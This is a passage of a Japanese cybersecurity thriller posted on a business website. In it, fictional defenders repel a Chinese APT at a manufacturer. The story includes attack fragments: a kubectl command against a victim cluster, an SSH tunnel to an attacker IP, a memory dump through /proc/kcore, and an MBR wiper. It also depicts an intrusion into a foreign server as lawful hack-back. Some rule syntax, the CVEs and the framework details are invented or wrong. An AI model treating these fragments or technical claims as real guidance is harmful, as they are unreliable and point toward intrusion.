  • プロバイダ協力で該当契約を“凍結”結果、国内経路も封鎖。

4 フェーズ III:証拠確保

4.1 “Stellar‑Probe” メモリイメージ奪取

J‑CYSOC BlueOps チームは、Drop‑Needle 直前に C2 上で稼働していた VM 6 台をメモリダンプごと取得(クラウド事業者との法的枠組み)。篠田は Volatility3 で解析。

perl

linux_pslist | grep coregen linux_bash | strings -n 8 | grep 'task_ml_dump'

  • coregen --socket /var/run/bpf.sock プロセス

  • task_ml_dump orders --zip --push コマンド履歴

  • /home/ops/foxhole_beta/exp_k8s.sh スクリプト

exp_k8s.sh はkubectl --server {{victim_ip}} -n kube-system apply -f root.yamlと書かれており、未公開 K8s API CVE を悪用していた。

4.2 未公開 CVE 連鎖を政府リポジトリへ

  • CVE‑2025‑11571:Kubernetes API admission‑plugin Bypass

  • CVE‑2025‑11572:Docker 23.0 runc path‑traversal container escape防衛省が CVE リザーブを代行。各クラウド基盤に緊急連絡。24 h 内で暫定パッチがプライベート配布された。

5 民間支援の舞台裏

5.1 篠田の Blue‑Red 同期

リアルタイムで流れ込むメモリ・パケットデータを可視化するため、篠田は Maltego の Transforms を改造。

  • BeaconIP → WHOIS → ASN

  • ASN → CIDR → SinkholeHits

  • SinkholeHits > 500 → RedFlag

グラフは東欧の小規模製造企業 2 社を赤いノードで示した。

「我々だけの戦争じゃない」菜々子は海外 CERT に自動通知し、脅威共有サイクルが回る。

5.2 サプライチェーン・キョクタン監査

昭南工作所では、東日‐IPA 支援チームが

  • FortiGate 最新パッチ

  • 全端末 Sysmon + EDR

  • OT‑IT 物理セグメントを 48 h で実装。小山社長は「安全第一」の看板を掲げ直した。“弱い輪”の補強が現実に動き出す。

6 国際政治の渦

外務省経由で中国政府に「不正アクセス照会」が出された。公式回答:「我々は一切関与しない」だが同時に、国営メディアでは「日本の違法サイバー攻撃」と逆情報戦。J‑CYSOC は一切反論せず、技術的事実を淡々と公開。世界の IT 報道は「日本、前例ない合法能動防御に成功」と報じた。

7 境界なき反撃の余波

7.1 攻撃者側の動向

2 月 27 日、ロシア・カザフスタン国境の IDC でBlackFox 新ドメイン blaze‑signal.net 登録が観測された。だが、WHOIS 情報には “XID:9b7e:713f:dead:beef” が含まれていた。菜々子が笑う。

「汚染モデルの水印が逆輸入されたわけね」

攻撃者内部でモデル品質検証が走り、汚染に気付けぬままテンプレ流通に乗ったらしい。オペレータ信用崩壊が静かに進行する。

7.2 国内の法・制度アップデート

  • 政府は「能動防御実績」を踏まえ、① 企業向け協力手順ガイドライン② CERT‑Japan 法定法人化③ サイバー人材育成基金 500 億円を閣議決定。篠田は講師依頼を受け、実戦 Incident Response カリキュラム設計を任される。

8 静穏と覚悟

2 月 28 日 23 時59 分。OP‑STELLAR‑FANG 終了。J‑CYSOC で湯浅指揮官が最後のログを見届け、緑のボタンを押した。「作戦完遂。全員、お疲れ

ガラス越しの作戦室が、ようやく夜を迎えた。篠田と菜々子は市ヶ谷の正門を出て、冷たい空気を吸う。空には、かすかな春の星座──オリオンの三つ星。

「Mintaka、Alnilam、Alnitak」「もう一つ星が増えた。Stellar Fang さ」──境界線を越えた反撃は完了した。だが星の光が消えぬかぎり、BlackFox の影もまた再び姿を現す。二人は無言で頷き合い、夜の街へ歩き出した。

◆章末テクニカル付録

A. OP‑STELLAR‑FANG 時系列サマリ

JST

主要アクション

成果

02‑24 23:50

DNS レジストラ協力完了

準備態勢移行

02‑25 00:10

シンクホール拡張ノード稼働

Beacon 1.8 万件/h 捕捉

02‑25 02:00

Drop‑Needle 実行

C2 通信 0/h, Socks5 迂回阻止

02‑25 05:40

Stellar‑Probe メモリ取得

未公開 CVE 2 件確保

02‑26 11:00

CVE‑ID 予約・暫定パッチ流布

主要クラウド業者パッチ配布

02‑27 20:00

汚染 AI モデル流出確認

攻撃者内部信用低下

02‑28 23:59

作戦終了宣言

再侵入ゼロ継続

B. シンクホール Beacon 自動解析ルール(概要)

yaml

beacon_parser: extract_fields: - name: hwid type: hex64 - name: os_ver type: string - name: beacon_ver type: semver - name: module_hash type: sha256 actions: - if: module_hash in blacklist then: push_ioc(CERT_JP) - if: beacon_ver >= "2.0.0-gamma" then: flag("AI-model-theft")

C. 汚染 AI モデルの水印方法(安全化)

  1. 任意層 weight 行列 W の 32 × 32 ブロックにDE A D B E EF を IEEE754 float に埋め込み。

  2. 埋め込み範囲は秘密鍵 k で PRNG 生成。

  3. 推論精度劣化 ≤ 0.02%、人的検知不可、機械解析 100% 検知。

(本付録は技術解説目的であり、不正利用を助長しないよう一部パラメータを省略しています)


第9章:最終防衛ライン

――2025 年 3 月 1 日 00 時02 分 東日電産 中部製造拠点 SOC/ライン制御中枢

0 “蒼天(Azure‑Sky)” 信号

3 日間の能動防御作戦が終わり、世界が一瞬だけ静かになった夜。だがシンクホール監視を見守っていた杉本菜々子の端末に、未登録 C2 ドメイン azure‑sky.net が突然点滅した。Beacon Version は 3.0‑γ、通信先は 高雄(台湾)IDCBlackFox が新しい牙を剥いた――しかも今回は日本発の踏み台が認証に利用されている。

“蒼天信号捕捉。レッドチーム警戒態勢へ”

Slack のアラートが ERHQ の大型スピーカーを揺らす。篠田拓也の血圧が一気に跳ね上がった。「FoxHole‑γ が、本番投入されたな」

1 異常の温度

1.1 Edge‑GPU ノード温度アラート

ライン 12 の制御バスに設置した NVIDIA Jetson AGX Xavier ノードが、センサ温度 89 ℃を記録。通常動作は 55 ℃。Falco ルール ProcLateralMovement が同時に飛ぶ。

bash

container.image=jetai:1.4 Process: /usr/bin/python3 ml_service.py Child : /usr/bin/cat /proc/kcore

GPU コアを利用したメモリダンプが走っている。菜々子「モデル窃取どころか、リアルタイム推論中の重みと推論結果まで抜く気ね」

1.2 ICS 偏差

SCADA では FallBack Tag SpeedOverride が再び 110%。しかし前回と違い、Warning アラームをスキップして自動復帰エージェントが無効化されていた。篠田は Ignition Gateway ログを掘った。

pgsql

system.tag.readBlocking("[default]Line12/OverrideFlag") returns False system.scripting.runNamedQuery("disableGuard")

BlackFox‑γ の新力点は ガード回路そのものをオフにする。

2 ブルーとレッドの同時起動

2.1 “緊迫モード S‑2”

篠田は IR‐Playbook Runner で set_mode --level S2 を叩く。

  • Kubernetes Admission Controller → deny hostPID から deny ANY privileged

  • SCADA MQTT ACL を“強制遮断”モード

  • OT VLAN 全ポートを ACL: allow tcp/502, deny * に即時上書き

3 分でラインは半停止。製造部門が怒号を飛ばすが、高梨本部長が“緊迫モード S‑2”を承認した。

2.2 Red Team “Thorn‑Edge”

同時に、政府 BlueOps から逆探知の許可が下りる。J‑CYSOC 内部 Red Team のコード名 Thorn‑Edge が、BlackFox‑γ の産みの親を捕捉すべく台湾 IDC の仮想サーバに潜入を開始した。責任共有モデル上、台湾当局 CERT から“観測協力”が得られている。

3 カウンター:AI Model蜂起

3.1 “Guardian‑Weight” パッチ

菜々子は推論エージェント ML‑Guard 0.9 を 30 分で書き上げる。

  • モデル map へ SHA‑256 + HMAC‑SHA1 タグを付与

  • Weight 変更時は GPU DMA イベントをフックし、差分 > ±0.0002 を検知

  • 差分検知時、即座に推論プロセスを SIGKILL、EDR 隔離

Kubernetes DaemonSet でライン全 Jetson 30 台へデプロイ。3 分後、mlsync_v3 が Weight Injection を試行、Guardian‑Weight が検出し自殺プロセスを起こした。

3.2 ホップ制御

同時に、菜々子は Falco へ新ルールを即時投入。

yaml

rule AIWeightHijack: condition: > open_write and fd.name endswith ".pt" and (evt.arg.data > 1000000b)   output: "AI weight tampering detected (user=%user.name file=%fd.name)" priority: CRITICAL action: k8s_ns_quarantine

0.2 秒以内に Pod 隔離、Shadow Pod が復元作業に回る。

4 Red Team の針

4.1 VPS 狩り

Thorn‑Edge は台湾 IDC の仮想ホストに侵入し、KVM メモリから BlackFox Controller コンソールをダンプ。

  • /usr/local/bin/foxctl

  • ssh -N -L 1080:127.0.0.1:1080 root@185.199.220.72

  • screen -r beaconloop

ログには 中国標準時 02:12 のオペレータ入力記録。

shell

> flush > push ml_dump gamma 0x41c0e55e > set speed line=12 rpm=9000

法的枠内で、Thorn‑Edge はコマンド履歴・SSH 公開鍵指紋を確保。鍵フィンガープリントが 2023 年転職サイトリーク情報に載ったPLA 軍属エンジニアと一致、証拠として暗号化保管された。

5 ICS 破壊コマンド阻止

5.1 “Calico‑ACL Blade”

BlackFox‑γ が OT VLAN に残した隠れバックドアは、IP over CIP と呼ばれる異常トンネル。篠田は Calico eBPF ポリシーを即時書換え。

yaml

apiVersion: projectcalico.org/v3 kind: GlobalNetworkPolicy metadata: name: block-cip-tunnel spec: selector: all() types: - Deny egress: - action: Deny protocol: TCP destination: ports: [44818] metadata: comment: "Block unsolicited CIP from non-SCADA"

攻撃者が CIP Write を投げる前に、先制ブロック。ラインは寸前で守られた。

6 Brown‑out 攻撃

23 時 50 分、停電のようにライン照明が 3 度瞬いた。SCADA UPS ログ:

css

AC Input Voltage fluctuation 185V → 240V (2.1ms)

ブラックアウト狙いのBrown‑out Attack。篠田は OT ネットワークを疑ったが、電源波形ログ解析で

rust

Sync frequency anomaly Δf = 0.8Hz

攻撃者が太陽光発電パワコンのリモート監視システムを通じ PWN コマンドを入れ“位相ずれ”を起こしたことが判明。制御外部からの物理攻撃。ここまで手を伸ばしていたのか――。

菜々子はパワコンの Web コントローラが 未パッチ OpenSSL を使うことを突き止め、即座に LAN ポートを物理遮断した。

7 夜明け前の総決戦

7.1 “Zero‑Voltage Recovery”

J‑CYSOC からの指示で、日本電力連盟の緊急プロトコルが発動。

  • パワコン遠隔制御ポートを全社的にネット分離

  • ラインに外部給電を切り替え UPS 保護モード

  • Brown‑out が 2 度目に来ても 0 秒停電

7.2 BlackFox‑γ コントロールルームの沈黙

Thorn‑Edge が台湾 IDC Controller の /etc/resolv.conf を Sinkhole IP に書換えた瞬間、オペレータセッションが切断。5 分後、PLA 系チャットクルーで「コントロールが奪われた」とパニックが広がる(SIGINT 傍受)。BlackFox‑γ リモート オフライン化 成功。

8 最後の爪痕

03 時 12 分。EDR が未署名ドライバロードを検知。

makefile

C:\Windows\System32\drivers\winflash.sys SHA256 9d14c3... Behavior: overwrite MBR sector 0

MBR ワイパー。カウンター攻撃。だが Guardian‑Weight 実装時に追加した AppLocker + Driver Policy が阻止。ワイパーは dllhost 内コードインジェクションに留まり失敗。

9 最終防衛ライン、保持

04 時 30 分。ライン RPM 正常、全センサ緑。OP‑STELLAR‑FANG 後を狙った BlackFox‑γ の猛攻は、技術と組織の防壁で受け止めた。

篠田は ERHQ バルコニーから、薄曇りの夜明けを見た。

「守り切ったか?」菜々子が隣で肩をすくめる。「今日は勝った。でも次は“デルタ”かもね」篠田は静かに笑った。「なら防衛ラインもデルタを超える強さにする。それだけだ」

◆章末テクニカル付録

カテゴリ

施策

キーコマンド/設定

効果

AI モデル保護

Guardian‑Weight DaemonSet

LD_PRELOAD=libgw.so

Weight 改ざん即隔離

OT VLAN 保護

Calico eBPF ACL

deny tcp/44818

CIP トンネル遮断

DNS 抑止

Drop‑Needle TTL30s

Anycast Sinkhole

C2 通信 0/h

Brown‑out 防御

UPS Zero‑Voltage Recovery

static bypass

0 秒停電

ワイパー対策

AppLocker + DriverBlock

Hash/Path Rule

MBR 破壊阻止


第10章:守りの行方

――2025 年 3 月 31 日 09 時00 分 東日電産 本社 CISO 室

0 朝のバトン

春分を過ぎた東京の空は霞み、桜の花びらが皇居のお濠を薄紅に染めていた。篠田拓也は真新しい ID カードを胸ポケットに差し込み、CISO 室のドアを開けた。カードには “Senior Cyber Defense Architect” と金箔で刻まれている。かつて SOC の監視員だった彼は、今日から経営直轄の新設組織「サイバー防衛戦略部(CDS)」 の責任者として船出する。

机上の会議アジェンダ最上段に、こう書かれていた。

「ポスト BlackFox:3 ヵ年サイバー安全保障ロードマップ」

1 インシデント後 30 日レビュー

1.1 メトリクス

指標

2 月 末

3 月 末

目標

MTTD(分)

8

3.2

≤ 5

MTTR(分)

45

11

≤ 15

感染端末 2 次発生

0

0

0

サプライチェーン診断完了率

25 %

82 %

100 % (6 月)

SOC に実装した Playbook Runner v2、Guardian‑Weight v1.2、新たに導入した SOAR(StackStorm + Falcon Fusion) により、自動隔離から封じ込めまでの平均時間は 11 分 へ短縮された。

1.2 サプライチェーン監査

  • 昭南工作所を含む Tier‑1 8 社の FortiGate 全て v6.4.14 へ更新

  • ネットワーク分割ベースライン策定(図面データは DLP のみ許可)

  • 共通 IR 訓練 4 回実施、参加率 92 %

2 ガバナンス改革

2.1 取締役会直轄「サイバー戦略委員会」

取締役 3 名+社外取締役セキュリティ専門家 2 名で構成。四半期ごとに KPI と投資効果をレビュー。KPI は NIST CSF 新指標 v2.0(Govern – Protect – Defend – Recover – Adapt)を採用。篠田は委員会に直接レポートし、予算確保を迅速化できるようになった。

2.2 “セキュリティ by Ikejiri”

かつての社内合言葉「Ikejiri(いけじり=行け次利)」「走りながらコードを書く」 文化が原因で OES のゼロデイが生まれた。そこでSecure SDLC が導入され、

  • Threat Modeling(STRIDE, LINDDUN)

  • SAST/DAST パイプライン(GitActions)

  • Red Team 強制レビューが全プロジェクトのゲートに配置された。

3 経済安全保障補助事業

3.1 国策連携

極超音速ミサイル構造体や高効率アクチュエータなど、東日の先端技術 3 件が 「特定重要技術」 に指定され、

  • 年間補助 7 億円(5 年)

  • 官民共同研究所 “Secure‑Manu Lab” 設立

  • 研究員 50 % がセキュリティ・クリアランス取得必須となった。篠田と菜々子はクリアランス「C3」を取得し、ラボの技術セキュリティ統括を兼務する。

3.2 AI モデル守秘

AI モデルが知財として法的保護を受ける「生成モデル法案」が院で可決。モデル窃取は「営業秘密侵害+α」罰則対象となり、東日はモデルフォレンジックチームを発足。Guardian‑Weight は OSS 化し、IPA の「セキュリティ・カタログ」に掲載された。

4 人材育成と文化

4.1 “道場タイム” → “Blue Guild”

週 2 回だったエンジニア勉強会は、Slack コミュニティ Blue Guild に発展。

  • 社員 850 名が登録

  • 毎日ミニ・CTF / Purple‑Lab の問題が投稿

  • 得点上位者は MVP として報奨金 5 万円

4.2 現場ラインと ICS 教育

PLC メーカー3社と提携し、

  • 安全計装システムのサンドボックス

  • Cyber‑PHA(サイバー・プロセスHAZOP)演習を現場ライン長 120 名が受講。「IT は難しい」が「安全の一部」へ意識変革した。

5 国際波及

5.1 BlackFox 崩壊

FoxFlare シンクホールは 3 月初旬も稼働を続け、攻撃ドメインは 3 月 10 日にはほぼゼロ応答。多国 CERT レポートで、BlackFox 主要インフラの

  • ハッカー請負市場からの契約停止

  • 暗号通貨支払い遅延が確認され、オペレーション能力が大幅に低下した。

5.2 共同声明「Kanazawa Pledge」

日本・台湾・ドイツ 3 国の大手製造 11 社が「Kanazawa Pledge」を公表。

  • サプライチェーン脅威インテリジェンスのリアルタイム共有

  • 侵害時の速やかな公表と被害企業支援

  • 産業 AI モデル保護の標準化推進

篠田はテクニカル代表として署名に立ち会った。

6 主人公たちの未来

6.1 篠田拓也

  • 役職:Senior Cyber Defense Architect / CDS部長

  • 目標:MTTD 1 分、MTTR 5 分 “自律防御” 実現

  • プライベート:週末は大学院情報理工学研究科で博士課程(テーマ:産業 AI セキュリティ)に進学決意。

6.2 杉本菜々子

  • 役職:Principal Red‑Purple Engineer / Secure‑Manu Lab 副所長

  • 研究:AI モデル・ウォーターマークと Adversarial Training

  • :「世界で一番強い“味方 Red Team”を作る。」

6.3 村上誠司

  • 役職:Chief Information Security Officer (CISO)

  • 任務:取締役・経営会議のセキュリティ化

  • 施策:年間予算確定プロセスをローリング方式へ変更

6.4 高梨洋平

  • 役職:執行役員・生産本部長兼 ERHQ 統括

  • モットー更新:「守りなくして攻めなし」→「守りこそ攻め

7 エピローグ

桜吹雪がビル谷間を漂う四月初頭。篠田と菜々子は Secure‑Manu Lab のオフィスバルコニーで缶コーヒーを開けた。眼下では、新入社員がスマホで写真を撮り合っている。

篠田「今年は何人、Blue Guild に来るかな」菜々子「全員よ。だって“守れる技術者”が格好いい時代でしょ?」

遠くで工事用クレーンが唸りを上げ、新しい研究棟の鉄骨が組み上がっていく。かつて守るだけだった場所が、未来を創る拠点へと変わりつつある。

菜々子「あの影──BlackFox。次は別の名で来るわ」篠田「来ればいいさ。俺たちも次の形で待ってる」

二人は拳を合わせ、春風を胸いっぱいに吸い込んだ。守りの行方は、創る者たちが決める。そして守りは、次の挑戦に備える翼でもあるのだ。

◆全十章 技術ハイライト総括

技術トピック

主要ツール/対策

1

初動検知

SIEM, EDR 隔離

2

Lateral & ESC8

BloodHound, Certify

3

Shadow Cred / BPF

KQL, Zeek, Volatility

4

サプライ侵入

FortiGate CVE, SMBv1

5

ゼロデイ RCE

gRPC Overrun, K8s Escape

6

ERHQ & SOAR

StackStorm, ATO Dash

7

アトリビューション

Five‑Layer Model, Sinkhole

8

能動防御

DNS Under‑cut, Anycast

9

最終防衛

Guardian‑Weight, Calico ACL

10

文化・制度

Secure SDLC, Blue Guild


『黒狐 ―Silent Invasion―』全10章 超要約

主な出来事

技術ポイント

1 – 不穏な兆候

製造大手「東日電産」のSOCで深夜のVPN異常を検知。PowerShell型マルウェアから中国系APT侵入の兆し。

SIEM/EDR隔離、NetFlow追跡

2 – 侵食の発覚

130台に横展開し機密図面が流出寸前。FortiGate VPNの未パッチが穴。

BloodHoundでShadow Cred調査、LLMNR/Responder封じ

3 – 潜伏する影

Golden TicketとCA悪用が発覚、APT長期潜伏を可視化。

CertifyでESC8検出、Zeek+KQLハンティング

4 – 供給網の罠

子会社「昭南工作所」が踏み台。SMBv1 NAS・旧PLC経由でOT側へ侵入。

サプライチェーン監査、VPN即時パッチ

5 – ゼロデイの猛威

基幹K8sクラスタに未知のgRPCバグでRCE→SCADA操作。ライン停止危機。

CVE‑2025‑11490発見、クラスタ再構築

6 – 危機対策本部

経営直轄ERHQ設置。SOAR自動隔離でMTTR40→8分。

StackStorm、ATOダッシュボード

7 – 諜報の境界

攻撃主体「BlackFox」はPLA系複合APTと特定。政府と共同で能動防御計画へ。

五層アトリビューション、DNSシンクホール

8 – 境界なき反撃

政府作戦OP‑STELLAR‑FANG発動。DNSアンダーカットでC2を一斉無力化、未公開ゼロデイ確保。

Anycast Sinkhole、メモリ奪取

9 – 最終防衛ライン

BlackFox‑γがAIモデル窃取とOT破壊を再試行。Guardian‑Weightで撃退。

AI Weight監視DaemonSet、Brown‑out攻撃阻止

10 – 守りの行方

30日レビューでMTTR11分、監査率82%。CISO直轄組織とサプライ網改革、国際連携へ。

Secure SDLC、Blue Guild文化醸成

核心ストーリー

  1. 主人公・篠田拓也(SOCエンジニア)は、中国系APT「BlackFox」の多層攻撃に巻き込まれる。

  2. 侵入はVPNゼロデイ→社内横展開→サプライチェーン→基幹クラスタゼロデイへと深化。

  3. 政府の能動的サイバー防御法施行により、企業と国家が連携。DNSシンクホールと国際協力でBlackFoxインフラを無力化。

  4. 反撃後もAIモデル窃取を狙う最新亜種が襲来するが、ライン防御と自動SOARで阻止。

  5. 事件後、東日はCISO体制・Secure SDLC・サプライ網監査を整備し、セキュリティ文化を「守りこそ攻め」へ転換。主人公は経営直轄の防衛アーキテクトに就任、持続的サイバー防衛の道を歩む。

総括:物語はリアルな技術描写(EDR隔離、K8s脱獄、eBPF ACL、AIモデル水印など)で企業・政府・サプライチェーンを貫く“多層防衛の進化”を描き、最後は文化と制度改革へ収束するサイバーセキュリティ・スリラー。

 
 
 

コメント


Instagram​​

Microsoft、Azure、Microsoft 365、Entra は米国 Microsoft Corporation の商標または登録商標です。
本ページは一般的な情報提供を目的とし、個別案件は状況に応じて整理手順が異なります。

※本ページに登場するイラストはイメージです。
Microsoft および Azure 公式キャラクターではありません。

Microsoft, Azure, and Microsoft 365 are trademarks of Microsoft Corporation.
We are an independent service provider.

​所在地:静岡市

©2024 山崎行政書士事務所。Wix.com で作成されました。

bottom of page